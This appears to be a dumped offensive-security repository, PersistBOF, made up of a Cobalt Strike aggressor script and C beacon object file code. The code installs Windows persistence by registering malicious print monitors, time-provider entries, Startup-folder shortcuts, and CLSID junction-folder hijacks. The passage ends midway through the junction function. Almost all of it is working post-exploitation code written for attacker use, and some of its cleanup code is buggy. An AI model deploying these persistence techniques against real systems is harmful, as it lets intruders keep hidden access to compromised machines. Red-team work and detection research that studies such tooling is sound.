├── .gitignore ├── LICENSE ├── Makefile ├── PersistBOF.cna ├── PersistenceBOF.c ├── PrintMonitorDll ├── MonitorDefs.h ├── PrintMonitorDll.vcxproj ├── PrintMonitorDll.vcxproj.filters ├── PrintMonitorDll.vcxproj.user └── dllmain.c ├── README.md ├── TimeProvider ├── TimeProvider.vcxproj ├── TimeProvider.vcxproj.filters ├── TimeProvider.vcxproj.user └── dllmain.c └── beacon.h /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Icebreaker Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | icepick: 2 | x86_64-w64-mingw32-gcc -c PersistenceBOF.c -o persist-ice-monitor.o -DPRINTMONITOR 3 | x86_64-w64-mingw32-strip -N PersistenceBOF.c persist-ice-monitor.o 4 | x86_64-w64-mingw32-gcc -c PersistenceBOF.c -o persist-ice-time.o -DTIME 5 | x86_64-w64-mingw32-strip -N PersistenceBOF.c persist-ice-time.o 6 | x86_64-w64-mingw32-gcc -c PersistenceBOF.c -o persist-ice-shortcut.o -DShortCutStartup 7 | x86_64-w64-mingw32-strip -N PersistenceBOF.c persist-ice-shortcut.o 8 | x86_64-w64-mingw32-gcc -c PersistenceBOF.c -o persist-ice-junction.o -DJUNCTION 9 | x86_64-w64-mingw32-strip -N PersistenceBOF.c persist-ice-junction.o 10 | x86_64-w64-mingw32-gcc -c PersistenceBOF.c -o persist-ice-xll.o -DXLL 11 | -------------------------------------------------------------------------------- /PersistBOF.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "persist-ice", 3 | "A set of persistence techniques to appeal the masses", 4 | "Synopsis: persist-ice [PrintMon, TimeProv, Shortcut, Junction, Xll] [persist or clean] [key/folder name] [dll / lnk exe name]"); 5 | 6 | 7 | alias persist-ice { 8 | $data = substr($0, 12); 9 | @args = split(' ', $data); 10 | local('$_type $_action $_registryKeyName $_dllName $_action_int $_clsid $_bofPath'); 11 | 12 | # map args to variables 13 | $_type = @args[0]; 14 | $_action = @args[1]; 15 | $_registryKeyName = @args[2]; 16 | $_dllName = @args[3]; 17 | 18 | if(size(@args) > 4 ) 19 | { 20 | $_clsid = @args[4]; 21 | } 22 | 23 | if($_action iswm "persist") 24 | { 25 | $_action_int = 0; 26 | } 27 | else if($_action iswm "clean") 28 | { 29 | $_action_int = 1; 30 | } 31 | else 32 | { 33 | berror($1,"Error: Not a valid argument"); 34 | return; 35 | } 36 | 37 | 38 | 39 | #Determine correct type of persistence 40 | if($_type iswm "PrintMon") 41 | { 42 | # Make sure we have the right permissions 43 | if(!-isadmin $1) 44 | { 45 | berror($1,"Error: Must be admin for this persistence mechanism"); 46 | return; 47 | } 48 | 49 | #Need these privilieges to load a new print monitor 50 | bgetprivs($1, "SeLoadDriverPrivilege"); 51 | 52 | # read in the right BOF file 53 | $_bofPath = "persist-ice-monitor.o"; 54 | 55 | } 56 | else if($_type iswm "Xll") 57 | { 58 | $_bofPath = "persist-ice-xll.o"; 59 | } 60 | else if($_type iswm "TimeProv") 61 | { 62 | # Make sure we have the right permissions 63 | if(!-isadmin $1) 64 | { 65 | berror($1,"Error: Must be admin for this persistence mechanism"); 66 | return; 67 | } 68 | $_bofPath = "persist-ice-time.o"; 69 | } 70 | else if($_type iswm "Shortcut") 71 | { 72 | if($_action_int == 1) 73 | { 74 | berror($1,"Error: This function does not support automatic cleanup"); 75 | return; 76 | } 77 | $_bofPath = "persist-ice-shortcut.o"; 78 | 79 | } 80 | else if($_type iswm "Junction") 81 | { 82 | $_bofPath = "persist-ice-junction.o"; 83 | 84 | } 85 | else 86 | { 87 | berror($1,"Error: Not a valid type of persistence"); 88 | return; 89 | } 90 | #read in the correct bof 91 | $handle = openf(script_resource($_bofPath)); 92 | $bof = readb($handle, -1); 93 | closef($handle); 94 | if(strlen($bof) < 1) 95 | { 96 | berror($1,"Error: BOF bin could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script"); 97 | return; 98 | } 99 | # pack our arguments 100 | 101 | if(size(@args) > 4 ) 102 | { 103 | $bofArgs = bof_pack($1, "iZZZ", $_action_int, $_registryKeyName, $_dllName, $_clsid); 104 | } 105 | else 106 | { 107 | $bofArgs = bof_pack($1, "iZZ", $_action_int, $_registryKeyName, $_dllName); 108 | } 109 | 110 | 111 | 112 | btask($1, "Running Persist-ICE"); 113 | 114 | # execute it. 115 | beacon_inline_execute($1, $bof, "go", $bofArgs); 116 | 117 | 118 | } 119 | 120 | -------------------------------------------------------------------------------- /PersistenceBOF.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include 3 | #include "beacon.h" 4 | //#define TIME 5 | //#define PRINTMONITOR 6 | //#define ShortCutStartup 7 | //#define JUNCTION 8 | //#define XLL 9 | 10 | 11 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(); 12 | WINBASEAPI BOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR lpFileName); 13 | 14 | #ifdef XLL 15 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 16 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegSetKeyValueW(HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpValueName, DWORD dwType, LPCVOID lpData, DWORD cbData); 17 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteKeyW(HKEY hKey, LPCWSTR lpSubKey); 18 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteValueW(HKEY hKey, LPCWSTR lpValueName); 19 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 20 | 21 | WINBASEAPI HRESULT WINAPI SHELL32$SHGetKnownFolderPath(GUID* rfid, DWORD dwFlags, HANDLE hToken, PWSTR* ppszPath); 22 | 23 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscat(wchar_t* dest, const wchar_t* src); 24 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* str); 25 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscpy(wchar_t* dest, const wchar_t* src); 26 | #endif 27 | 28 | //Junction Folder 29 | #ifdef JUNCTION 30 | WINBASEAPI RPC_STATUS WINAPI RPCRT4$UuidCreate(UUID* Uuid); 31 | WINBASEAPI RPC_STATUS WINAPI RPCRT4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid); 32 | WINBASEAPI RPC_STATUS WINAPI RPCRT4$RpcStringFreeA(RPC_CSTR* String); 33 | WINBASEAPI RPC_STATUS WINAPI RPCRT4$UuidToStringW(const UUID* Uuid, RPC_WSTR* StringUuid); 34 | WINBASEAPI RPC_STATUS WINAPI RPCRT4$RpcStringFreeW(RPC_WSTR* String); 35 | 36 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscat(wchar_t* dest, const wchar_t* src); 37 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* str); 38 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscpy(wchar_t* dest, const wchar_t* src); 39 | 40 | WINBASEAPI HRESULT WINAPI SHELL32$SHGetKnownFolderPath(GUID* rfid, DWORD dwFlags, HANDLE hToken, PWSTR* ppszPath); 41 | 42 | WINBASEAPI BOOL WINAPI KERNEL32$CreateDirectoryW(LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 43 | WINBASEAPI BOOL WINAPI KERNEL32$RemoveDirectoryW(LPWSTR lpPathName); 44 | 45 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 46 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegSetKeyValueW(HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpValueName, DWORD dwType, LPCVOID lpData, DWORD cbData); 47 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteKeyW(HKEY hKey, LPCWSTR lpSubKey); 48 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 49 | 50 | WINBASEAPI void WINAPI OLE32$CoTaskMemFree(LPVOID); 51 | 52 | #endif 53 | 54 | #ifdef ShortCutStartup 55 | #include 56 | 57 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscpy(wchar_t* dest, const wchar_t* src); 58 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscat(wchar_t* dest, const wchar_t* src); 59 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* str); 60 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcsrchr(const wchar_t* str, wchar_t c); 61 | 62 | WINBASEAPI BOOL WINAPI KERNEL32$CopyFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists); 63 | WINBASEAPI BOOL WINAPI KERNEL32$CreateDirectoryW(LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 64 | WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW(LPWSTR, LPWIN32_FIND_DATAW); 65 | WINBASEAPI BOOL WINAPI KERNEL32$FindClose(HANDLE); 66 | WINBASEAPI BOOL WINAPI KERNEL32$FindNextFileW(HANDLE, LPWIN32_FIND_DATAW); 67 | WINBASEAPI BOOL WINAPI KERNEL32$RemoveDirectoryW(LPWSTR); 68 | 69 | 70 | WINBASEAPI HRESULT WINAPI SHELL32$SHGetKnownFolderPath(GUID* rfid, DWORD dwFlags, HANDLE hToken, PWSTR* ppszPath); 71 | 72 | WINBASEAPI HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved); 73 | WINBASEAPI HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 74 | WINBASEAPI void WINAPI OLE32$CoUninitialize(); 75 | 76 | typedef struct _IShellLinkW IShellLinkW; 77 | 78 | typedef struct _SHITEMID 79 | { 80 | USHORT cb; 81 | BYTE abID[1]; 82 | } SHITEMID; 83 | typedef struct _ITEMIDLIST 84 | { 85 | SHITEMID mkid; 86 | } ITEMIDLIST; 87 | 88 | #define PIDLIST_ABSOLUTE LPITEMIDLIST 89 | #define PCIDLIST_ABSOLUTE LPCITEMIDLIST 90 | typedef /* [wire_marshal] */ const ITEMIDLIST __unaligned* LPCITEMIDLIST; 91 | typedef /* [wire_marshal] */ ITEMIDLIST __unaligned* LPITEMIDLIST; 92 | 93 | typedef struct IShellLinkWVtbl 94 | { 95 | BEGIN_INTERFACE 96 | 97 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 98 | __RPC__in IShellLinkW* This, 99 | /* [in] */ __RPC__in REFIID riid, 100 | /* [annotation][iid_is][out] */ 101 | _COM_Outptr_ void** ppvObject); 102 | 103 | ULONG(STDMETHODCALLTYPE* AddRef)( 104 | __RPC__in IShellLinkW* This); 105 | 106 | ULONG(STDMETHODCALLTYPE* Release)( 107 | __RPC__in IShellLinkW* This); 108 | 109 | HRESULT(STDMETHODCALLTYPE* GetPath)( 110 | __RPC__in IShellLinkW* This, 111 | /* [size_is][string][out] */ __RPC__out_ecount_full_string(cch) LPWSTR pszFile, 112 | /* [in] */ int cch, 113 | /* [unique][out][in] */ __RPC__inout_opt WIN32_FIND_DATAW* pfd, 114 | /* [in] */ DWORD fFlags); 115 | 116 | HRESULT(STDMETHODCALLTYPE* GetIDList)( 117 | __RPC__in IShellLinkW* This, 118 | /* [out] */ __RPC__deref_out_opt PIDLIST_ABSOLUTE* ppidl); 119 | 120 | HRESULT(STDMETHODCALLTYPE* SetIDList)( 121 | __RPC__in IShellLinkW* This, 122 | /* [unique][in] */ __RPC__in_opt PCIDLIST_ABSOLUTE pidl); 123 | 124 | HRESULT(STDMETHODCALLTYPE* GetDescription)( 125 | __RPC__in IShellLinkW* This, 126 | /* [size_is][string][out] */ __RPC__out_ecount_full_string(cch) LPWSTR pszName, 127 | int cch); 128 | 129 | HRESULT(STDMETHODCALLTYPE* SetDescription)( 130 | __RPC__in IShellLinkW* This, 131 | /* [string][in] */ __RPC__in_string LPCWSTR pszName); 132 | 133 | HRESULT(STDMETHODCALLTYPE* GetWorkingDirectory)( 134 | __RPC__in IShellLinkW* This, 135 | /* [size_is][string][out] */ __RPC__out_ecount_full_string(cch) LPWSTR pszDir, 136 | int cch); 137 | 138 | HRESULT(STDMETHODCALLTYPE* SetWorkingDirectory)( 139 | __RPC__in IShellLinkW* This, 140 | /* [string][in] */ __RPC__in_string LPCWSTR pszDir); 141 | 142 | HRESULT(STDMETHODCALLTYPE* GetArguments)( 143 | __RPC__in IShellLinkW* This, 144 | /* [size_is][string][out] */ __RPC__out_ecount_full_string(cch) LPWSTR pszArgs, 145 | /* [in] */ int cch); 146 | 147 | HRESULT(STDMETHODCALLTYPE* SetArguments)( 148 | __RPC__in IShellLinkW* This, 149 | /* [string][in] */ __RPC__in_string LPCWSTR pszArgs); 150 | 151 | HRESULT(STDMETHODCALLTYPE* GetHotkey)( 152 | __RPC__in IShellLinkW* This, 153 | /* [out] */ __RPC__out WORD* pwHotkey); 154 | 155 | HRESULT(STDMETHODCALLTYPE* SetHotkey)( 156 | __RPC__in IShellLinkW* This, 157 | /* [in] */ WORD wHotkey); 158 | 159 | HRESULT(STDMETHODCALLTYPE* GetShowCmd)( 160 | __RPC__in IShellLinkW* This, 161 | /* [out] */ __RPC__out int* piShowCmd); 162 | 163 | HRESULT(STDMETHODCALLTYPE* SetShowCmd)( 164 | __RPC__in IShellLinkW* This, 165 | /* [in] */ int iShowCmd); 166 | 167 | HRESULT(STDMETHODCALLTYPE* GetIconLocation)( 168 | __RPC__in IShellLinkW* This, 169 | /* [size_is][string][out] */ __RPC__out_ecount_full_string(cch) LPWSTR pszIconPath, 170 | /* [in] */ int cch, 171 | /* [out] */ __RPC__out int* piIcon); 172 | 173 | HRESULT(STDMETHODCALLTYPE* SetIconLocation)( 174 | __RPC__in IShellLinkW* This, 175 | /* [string][in] */ __RPC__in_string LPCWSTR pszIconPath, 176 | /* [in] */ int iIcon); 177 | 178 | HRESULT(STDMETHODCALLTYPE* SetRelativePath)( 179 | __RPC__in IShellLinkW* This, 180 | /* [string][in] */ __RPC__in_string LPCWSTR pszPathRel, 181 | /* [in] */ DWORD dwReserved); 182 | 183 | HRESULT(STDMETHODCALLTYPE* Resolve)( 184 | __RPC__in IShellLinkW* This, 185 | /* [unique][in] */ __RPC__in_opt HWND hwnd, 186 | /* [in] */ DWORD fFlags); 187 | 188 | HRESULT(STDMETHODCALLTYPE* SetPath)( 189 | __RPC__in IShellLinkW* This, 190 | /* [string][in] */ __RPC__in_string LPCWSTR pszFile); 191 | 192 | END_INTERFACE 193 | } IShellLinkWVtbl; 194 | 195 | typedef struct _IShellLinkW 196 | { 197 | struct IShellLinkWVtbl* lpVtbl; 198 | }IShellLinkW; 199 | 200 | 201 | 202 | #endif 203 | 204 | #ifdef TIME 205 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 206 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegSetKeyValueW(HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpValueName, DWORD dwType, LPCVOID lpData, DWORD cbData); 207 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegDeleteKeyW(HKEY hKey, LPCWSTR lpSubKey); 208 | WINBASEAPI LSTATUS WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 209 | 210 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* str); 211 | WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count); 212 | WINBASEAPI void __cdecl MSVCRT$free(void* memblock); 213 | WINBASEAPI void* __cdecl MSVCRT$malloc(SIZE_T); 214 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscpy(wchar_t* dest, const wchar_t* src); 215 | WINBASEAPI wchar_t* __cdecl MSVCRT$wcscat(wchar_t* dest, const wchar_t* src); 216 | #endif 217 | 218 | #ifdef PRINTMONITOR 219 | WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR lpLibFileName); 220 | WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE hLibModule); 221 | WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW(LPCWSTR lpFileName); 222 | 223 | typedef DWORD(WINAPI* MyAddMonitorW)(LPWSTR pName, DWORD Level, LPBYTE pMonitors); 224 | typedef DWORD(WINAPI* MyDeleteMonitorW)(LPWSTR pName, LPWSTR pEnvironment, LPWSTR pMonitorName); 225 | #endif 226 | 227 | #ifdef ShortCutStartup 228 | //ref : https://www.codeproject.com/Articles/11467/How-to-create-short-cuts-link-files#xx3649586xx 229 | HRESULT Create(LPWSTR pszTargetfile, LPWSTR pszTargetargs, 230 | LPWSTR pszLinkfile, LPWSTR pszDescription, 231 | int iShowmode, LPWSTR pszCurdir, 232 | LPWSTR pszIconfile, int iIconindex) 233 | { 234 | HRESULT hRes; /* Returned COM result code */ 235 | IShellLinkW* pShellLink = NULL; /* IShellLink object pointer */ 236 | IPersistFile* pPersistFile = NULL; /* IPersistFile object pointer */ 237 | WCHAR wszLinkfile[MAX_PATH]; /* pszLinkfile as Unicode 238 | string */ 239 | int iWideCharsWritten; 240 | OLE32$CoInitialize(NULL); 241 | hRes = E_INVALIDARG; 242 | static GUID xIID_IShellLinkW = { 0x000214F9L, 0, 0, {0xC0, 0, 0, 0, 0, 0, 0, 0x46} }; 243 | static GUID xCLSID_ShellLink = { 0X00021401, 0 , 0, {0XC0, 0, 0, 0, 0, 0, 0, 0x46} }; 244 | static GUID xIID_IPersistFile = { 0x0000010b, 0 , 0, {0XC0, 0, 0, 0, 0, 0, 0, 0x46} }; 245 | 246 | hRes = OLE32$CoCreateInstance(&xCLSID_ShellLink, NULL, 1, &xIID_IShellLinkW, &pShellLink); 247 | 248 | if (SUCCEEDED(hRes)) 249 | { 250 | 251 | /* Set the fields in the IShellLink object */ 252 | hRes = pShellLink->lpVtbl->SetPath(pShellLink, (LPCWSTR)pszTargetfile); 253 | 254 | hRes = pShellLink->lpVtbl->SetArguments(pShellLink, pszTargetargs); 255 | 256 | if (MSVCRT$wcslen(pszDescription) > 0) 257 | { 258 | hRes = pShellLink->lpVtbl->SetDescription(pShellLink, pszDescription); 259 | } 260 | if (iShowmode > 0) 261 | { 262 | hRes = pShellLink->lpVtbl->SetShowCmd(pShellLink, iShowmode); 263 | } 264 | if (MSVCRT$wcslen(pszCurdir) > 0) 265 | { 266 | hRes = pShellLink->lpVtbl->SetWorkingDirectory(pShellLink, pszCurdir); 267 | } 268 | if (MSVCRT$wcslen(pszIconfile) > 0 && iIconindex >= 0) 269 | { 270 | hRes = pShellLink->lpVtbl->SetIconLocation(pShellLink, pszIconfile, iIconindex); 271 | } 272 | 273 | /* Use the IPersistFile object to save the shell link */ 274 | hRes = pShellLink->lpVtbl->QueryInterface(pShellLink, &xIID_IPersistFile, &pPersistFile); 275 | if (SUCCEEDED(hRes)) 276 | { 277 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Success QueryInterface\n"); 278 | hRes = pPersistFile->lpVtbl->Save(pPersistFile, pszLinkfile, TRUE); 279 | pPersistFile->lpVtbl->Release(pPersistFile); 280 | } 281 | else 282 | BeaconPrintf(CALLBACK_ERROR, "Failed QueryInterface\n"); 283 | pShellLink->lpVtbl->Release(pShellLink); 284 | } 285 | else 286 | BeaconPrintf(CALLBACK_ERROR, "Error CoCreateInstance\n"); 287 | 288 | 289 | OLE32$CoUninitialize(); 290 | return (hRes); 291 | } 292 | 293 | 294 | BOOL BuildShortCut(int cmd, wchar_t* newFolder, wchar_t* path2Hijack) 295 | { 296 | HRESULT hRes; 297 | const GUID xFOLDERID_Startup = { 0xB97D20BB, 0xF46A, 0x4C97, {0xBA, 0x10, 0x5E, 0x36, 0x08, 0x43, 0x08, 0x54 } }; 298 | wchar_t dstPath[512] = { 0 }; 299 | wchar_t* newLinkName = L"shortcut.lnk"; 300 | wchar_t* file2Hijack = MSVCRT$wcsrchr(path2Hijack, '\\'); 301 | 302 | if (cmd == 0) 303 | { 304 | if (file2Hijack == NULL) 305 | { 306 | BeaconPrintf(CALLBACK_ERROR, "Error parsing commands\n"); 307 | return FALSE; 308 | } 309 | 310 | if (!KERNEL32$CreateDirectoryW(newFolder, NULL) && ERROR_ALREADY_EXISTS != KERNEL32$GetLastError()) 311 | { 312 | BeaconPrintf(CALLBACK_ERROR, "Couldn't create target folder\n"); 313 | return FALSE; 314 | } 315 | 316 | MSVCRT$wcscpy(dstPath, newFolder); 317 | MSVCRT$wcscat(dstPath, file2Hijack); 318 | MSVCRT$wcscat(dstPath, L"\0"); 319 | 320 | 321 | if (KERNEL32$CopyFileW(path2Hijack, dstPath, FALSE)) 322 | { 323 | PWSTR userpath = NULL; 324 | hRes = SHELL32$SHGetKnownFolderPath(&xFOLDERID_Startup, 0, NULL, &userpath); 325 | 326 | MSVCRT$wcscat(userpath, L"\\"); 327 | MSVCRT$wcscat(userpath, newLinkName); 328 | 329 | hRes = Create((LPWSTR)dstPath, (LPWSTR)L"", (LPWSTR)userpath, (LPWSTR)L"", SW_SHOWMINNOACTIVE, (LPWSTR)newFolder, (LPWSTR)L"", 0); 330 | if (SUCCEEDED(hRes)) 331 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Success Create shortcut\n"); 332 | else 333 | BeaconPrintf(CALLBACK_ERROR, "Failed Create shortcut\n"); 334 | 335 | } 336 | } 337 | else 338 | { 339 | HANDLE hFind = NULL; 340 | PWSTR userpath = NULL; 341 | hRes = SHELL32$SHGetKnownFolderPath(&xFOLDERID_Startup, 0, NULL, &userpath); 342 | //Delete shortcut file 343 | MSVCRT$wcscat(userpath, L"\\"); 344 | MSVCRT$wcscat(userpath, newLinkName); 345 | if (KERNEL32$DeleteFileW(userpath)) 346 | { 347 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Success delete shortcut\n"); 348 | } 349 | else 350 | { 351 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete shortcut\n"); 352 | } 353 | 354 | //Delete files in folder 355 | LPWIN32_FIND_DATAW lpFindFileData = 0; 356 | MSVCRT$wcscpy(dstPath, newFolder); 357 | MSVCRT$wcscpy(dstPath, L"\\*"); 358 | hFind = KERNEL32$FindFirstFileW(dstPath, lpFindFileData); 359 | BOOL success = TRUE; 360 | if (hFind != INVALID_HANDLE_VALUE) 361 | { 362 | do 363 | { 364 | 365 | if (!KERNEL32$DeleteFileW(lpFindFileData->cFileName)) 366 | { 367 | success = FALSE; 368 | } 369 | 370 | } while (KERNEL32$FindNextFileW(hFind, lpFindFileData)); 371 | 372 | if (success) 373 | { 374 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Success delete files\n"); 375 | if (KERNEL32$RemoveDirectoryW(newFolder)) 376 | { 377 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Success delete folder %ls\n", newFolder); 378 | } 379 | else 380 | { 381 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete folder %ls\n", newFolder); 382 | } 383 | } 384 | else 385 | { 386 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete all files in %ls\n", newFolder); 387 | } 388 | 389 | KERNEL32$FindClose(hFind); 390 | 391 | 392 | 393 | } 394 | else 395 | { 396 | BeaconPrintf(CALLBACK_ERROR, "Failed to find files\n"); 397 | } 398 | 399 | } 400 | 401 | return 1; 402 | } 403 | #endif 404 | 405 | #ifdef PRINTMONITOR 406 | BOOL PrintMonitorPersistence(int cmd, wchar_t* monName, wchar_t* dllname) 407 | { 408 | BOOL success; 409 | WCHAR monEnv[] = L"Windows x64"; 410 | HANDLE hWinSpool = NULL; 411 | 412 | hWinSpool = KERNEL32$LoadLibraryW(L"winspool.drv"); 413 | if (NULL == hWinSpool) 414 | { 415 | BeaconPrintf(CALLBACK_ERROR, "Failed to load winspool\n"); 416 | } 417 | //Add a monitor for persistence 418 | if (cmd == 0) 419 | { 420 | MONITOR_INFO_2W monitorInfo; 421 | // print monitor name 422 | monitorInfo.pName = (LPWSTR)monName; 423 | monitorInfo.pEnvironment = (LPWSTR)monEnv; 424 | // print monitor server DLL name 425 | monitorInfo.pDLLName = (LPWSTR)dllname; 426 | MyAddMonitorW pAddMonitorW = (MyAddMonitorW)GetProcAddress(hWinSpool, "AddMonitorW"); 427 | success = pAddMonitorW(NULL, 2, (LPBYTE)&monitorInfo); 428 | if (success == 0) 429 | { 430 | BeaconPrintf(CALLBACK_ERROR, "AddMonitor failed, GLE: %d\n", KERNEL32$GetLastError()); 431 | } 432 | else 433 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully added %ls for %ls\n", monName, dllname); 434 | } 435 | //clean up a monitor 436 | else if (cmd == 1) 437 | { 438 | MyDeleteMonitorW pDeleteMonitorW = (MyDeleteMonitorW)GetProcAddress(hWinSpool, "DeleteMonitorW"); 439 | success = pDeleteMonitorW(NULL, monEnv, monName); 440 | if (success == 0) 441 | { 442 | BeaconPrintf(CALLBACK_ERROR, "DeleteMonitor failed, GLE: %d\n", KERNEL32$GetLastError()); 443 | } 444 | else 445 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", monName); 446 | 447 | 448 | if (!KERNEL32$DeleteFileW((LPCWSTR)dllname)) 449 | { 450 | success = FALSE; 451 | BeaconPrintf(CALLBACK_ERROR, "Could not delete %ls, Error: %d\n", dllname, KERNEL32$GetLastError()); 452 | } 453 | else 454 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully deleted %ls\n", dllname); 455 | } 456 | //Don't really want this remaining mapped ot the process 457 | if (hWinSpool) 458 | KERNEL32$FreeLibrary(hWinSpool); 459 | return success; 460 | } 461 | #endif 462 | 463 | 464 | #ifdef JUNCTION 465 | 466 | BOOL JunctionFolder(int clean, wchar_t* folderName, wchar_t* dllPath, wchar_t* CLSID) 467 | { 468 | LSTATUS status = -1; 469 | HKEY phkResult = 0; 470 | size_t len = 0; 471 | BOOL success = TRUE; 472 | WCHAR* pknownStartupPath = NULL; 473 | 474 | UUID myuid; 475 | RPC_WSTR uidstr; 476 | HRESULT hRes; 477 | wchar_t baseKeyPath[512] = {0}; 478 | wchar_t startupPath[MAX_PATH] = {0}; 479 | 480 | const GUID xFOLDERID_StartMenu = { 0x625B53C3, 0xAB48, 0x4EC1, { 0xBA, 0x1F, 0xA1, 0xEF, 0x41, 0x46, 0xFC, 0x19 } }; 481 | 482 | wchar_t pFullKeyPath[512] = L"Software\\Classes\\CLSID\\{"; 483 | wchar_t* inproc = L"}\\InProcServer32"; 484 | wchar_t* shellFlder = L"}\\ShellFolder"; 485 | 486 | //%APPDATA%\Microsoft\Windows\Start Menu 487 | hRes = SHELL32$SHGetKnownFolderPath(&xFOLDERID_StartMenu, 0, NULL, &pknownStartupPath); 488 | if (hRes != 0) 489 | { 490 | BeaconPrintf(CALLBACK_ERROR, "Could not find known folder ID\n"); 491 | return FALSE; 492 | } 493 | 494 | 495 | 